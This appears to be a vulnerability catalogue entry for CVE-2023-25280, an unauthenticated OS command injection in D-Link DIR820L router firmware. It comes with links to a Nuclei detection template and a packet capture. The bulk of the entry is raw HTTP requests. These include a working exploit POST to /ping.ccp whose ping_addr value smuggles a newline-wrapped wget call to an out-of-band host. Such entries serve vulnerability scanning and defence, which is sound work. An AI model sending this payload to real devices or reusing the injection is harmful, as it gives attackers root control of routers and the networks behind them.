| Title | D-Link DIR820LA1_FW105B03 'ping_addr' - OS Command Injection |
|---|---|
| Author | pussycat0x |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary OS commands with root privileges on the D-Link DIR820LA1 router, leading to complete device compromise and network takeover. |
| Remediation | Upgrade to the latest firmware version from D-Link or replace the affected device with a patched model. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92752 |
| CVE ID | CVE-2023-25280 |
| CWE ID | CWE-78 |
| Tags | cve cve2023 rce unauth kev dlink vkev vuln |
OS Command injection vulnerability in D-Link DIR820LA1_FW105B03 allows attackers to escalate privileges to root via a crafted payload with the ping_addr parameter to ping.ccp.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /ping.ccp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 89
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Cookie: hasLogin=1
Origin: /
Referer: //lan.asp
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
ccp_act=pingV4Msg&ping_addr=%0awget http://d5jkmaple0o3172j6ak0d6ddo83uzcckm.oast.live%0a
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-25280.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-25280.pcap
N/AN/A